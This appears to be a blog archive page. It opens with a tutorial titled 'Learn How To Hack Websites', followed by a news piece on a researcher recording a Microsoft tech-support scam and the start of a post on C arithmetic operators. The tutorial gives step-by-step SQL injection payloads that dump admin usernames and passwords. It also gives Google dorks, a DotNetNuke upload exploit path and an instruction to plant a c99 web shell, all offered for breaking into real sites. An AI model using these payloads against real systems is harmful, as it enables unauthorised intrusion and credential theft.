Showing posts with label free read. Show all posts
Showing posts with label free read. Show all posts

Sunday, 1 May 2016

Learn How To Hack Websites With Two Different Techniques 2016

1 . SQL Injection in MySQL Databases:-

SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in other databases such as Oracle. In this tutorial i will be showing you the steps to carry out the attack on a MySQL Database.

Step 1:
When testing a website for SQL Injection vulnerabilities, you need to find a page that looks like this:
www.site.com/page=1

or
www.site.com/id=5

Basically the site needs to have an = then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in the url. For example:

www.site.com/page=1'

If the database is vulnerable, the page will spit out a MySQL error such as;

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29

If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.

Step 2

Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example:

www.site.com/page=1 order by 1--
http://www.site.com/page=1 order by 2--
http://www.site.com/page=1 order by 3--
http://www.site.com/page=1 order by 4--
http://www.site.com/page=1 order by 5--

If we receive another MySQL error here, then that means we have 4 columns. If the site errored on "order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.

Step 3

We now are going to use the "union" command to find the vulnerable columns. So we enter after the url, union all select (number of columns)--,
for example:
www.site.com/page=1 union all select 1,2,3,4--

This is what we would enter if we have 4 columns. If you have 7 columns you would put,union all select 1,2,3,4,5,6,7-- If this is done successfully the page should show a couple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.


Step 4

We now need to find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:
user()
database()
version()
or if these dont work try...
@@user
@@version
@@database

For example the url would look like:
www.site.com/page=1 union all select 1,user(),version(),4--

The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.
IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.

Step 5

In this step our aim is to list all the table names in the database. To do this we enter the following command after the url.
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
So the url would look like:
www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--

Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.

Step 6
In this Step we want to list all the column names in the database, to do this we use the following command:

union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user,email and password.

Step 7

Finally we need to dump the data, so say we want to get the "username" and "password" fields, from table "admin" we would use the following command,
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--

Here the "concat" command matches up the username with the password so you dont have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website




2.  Portal Hacking (DNN) Technique:-

One more hacking method called "Portal Hacking (DNN)". This method also uses in google search engine to find hackable sites.. Here U can use only Google Dorks for
hacking a websites.. 

Here U can use dez two Google Dorks

1- inurl:"/portals/0"

2- inurl:/tabid/36/language/en-US/Default.aspx


You can also modify this google dork according to your need & requirement

Here is the exploit
Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Step 1 :
http://www.google.com

Step 2:
Now enter this dork
:inurl:/tabid/36/language/en-US/Default.aspx
this is a dork to find the Portal Vulnerable sites, use it wisely.


Step 3: 
you will find many sites, Select the site which you are comfortable with.

Step 4: 
For example take this site.

http://www.abc.com/Home/tabid/36/Lan...S/Default.aspx

Step 5: Now replace
/Home/tabid/36/Language/en-US/Default.aspx

with this
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx



Step 6: You will get a Link Gallary page.So far so good!

Step 7: Dont do anything for now,wait for the next step...

Step 8: Now replace the URL in the address bar with a Simple Script

javascript:__doPostBack('ctlURL$cmdUpload','')


Step 9: You will Find the Upload Option

Step 10:
Select Root

Step 11:
Upload your package Your Shell c99,c100 , Images, etc 

After running this JAVA script, you will see the option for Upload Selected File Now select you page file which you have & upload here.
Now Go to main page and refresh. you have seen hacked the website.


Done..!!


What happens if you play along with a Microsoft 'tech support' scam? 2016

A senior security researcher from Malwarebytes has played along with a Microsoft technical support scammer, documenting the whole episode in a video, to showcase the social engineering that takes place.
For the uninitiated, the scam involves people in Indian call centres ringing up and saying that they are representatives from Microsoft technical support. They then tell the victim that their computer is running slowly because of viruses or because they need an additional piece of software -- at a cost, of course. It's been floating around for almost as many years as the Nigerian money transfer scam and is still going strong.
This week, the scammers called the wrong person: Jerome Segura, a senior security researcher at anti-malware company Malwarebytes. Being familiar with the sting, Segura played along with the female caller, recording the entire episode in a handy YouTube video. It's not the first time that scammees have documented scammers -- there are many videos on YouTube such as this one, this one and this one -- but Segura made an effort to remain calm, not try and troll the scammers and genuinely try and understand the sophistication of the scam. He didn't expect it to turn nasty at the end when the scammers became impatient and deleted a load of files from his computer.
Most Wired.co.uk readers will have a highly-tuned Windows scammer filter, but we'll know of less tech-savvy relatives or friends that might be drawn in. Segura told Wired.co.uk: "Many of my family members have received these calls, so I wanted to play the game to see how the scam worked. My aim was to be totally respectful and play the perfect victim."
As soon as Segura received a call, he decided to turn on his virtual machine and start recording the call and his computer screen. The caller -- initially a woman -- directs Segura to look at his Event Viewer, which logs all Microsoft error reports. She asked him to count the number of red cross-marked errors and yellow warnings, before warning him: "These errors and warnings are very much harmful for your computer. These are major problems and it doesn't matter if you have one or two errors or more than that. Each one has already started corrupting your whole computer system."
She then instructed Segura to enter in "Prefetch" into the start>run menu, which opens up the prefetch folder, which actually keeps track of how your computer starts and which programs you commonly open. She said that these were "malicious hacking files that are making the computer infected and the system slow". She warned not to delete any of the files as they could be activated and crash the computer. "You have 100 hacking files on your computer, you are very high risk."
Segura explains: "The woman really wanted me to be involved and count the errors. It's all about social engineering. But part of the plan is on Microsoft for having errors that look like this [quite alarming]."
The caller then went on to say that that Segura's software warranty had expired after three years and that she then asked him to have a look at the System Configuration Utility services tab. She explained that the reason that some of the services in that tab were marked with a "stopped" status was because a warranty had expired and only a Microsoft technician could start them again. 
At this point a male "technician" takes over to get Segura to register for a warranty renewal that will cost "only" $299 (£195). It's a complete one off payment for the whole lifetime of the computer. An absolute bargain.
Segura is asked to download TeamViewer to allow a third party to control his computer. They then open up a browser and instruct Segura to enter in his personal information, including banking information and make a PayPal payment of $299. Segura purposefully enters in wrong banking details knowing it will be rejected.
At this point the scammer gets spiteful, takes control of Segura's computer and deletes all of the documents from his computer. The scammer then looks for more ways to corrupt the system, heading to device manager to delete the Ethernet adapter driver. Before deleting, he posts "bye asshole" (sic) in the TeamViewer chat log. 
Segura asks the operator who was deleting the files on his computer, and why the technician called him an asshole. A male voice replies that the "technician is always correct. If he is saying that you are something then you must be. He cannot be wrong."
Segura is surprised that this scam -- which has been floating around since 2008 -- is still going on. "Many older people may fall for the trick." He hopes to educate more people about the scam and try and track down the people behind them.

Thursday, 14 April 2016

Arithmetic Operators in C Programming

The following table shows all the arithmetic operators supported by the C language. Assume variable A holds 10 and variable B holds 20, then −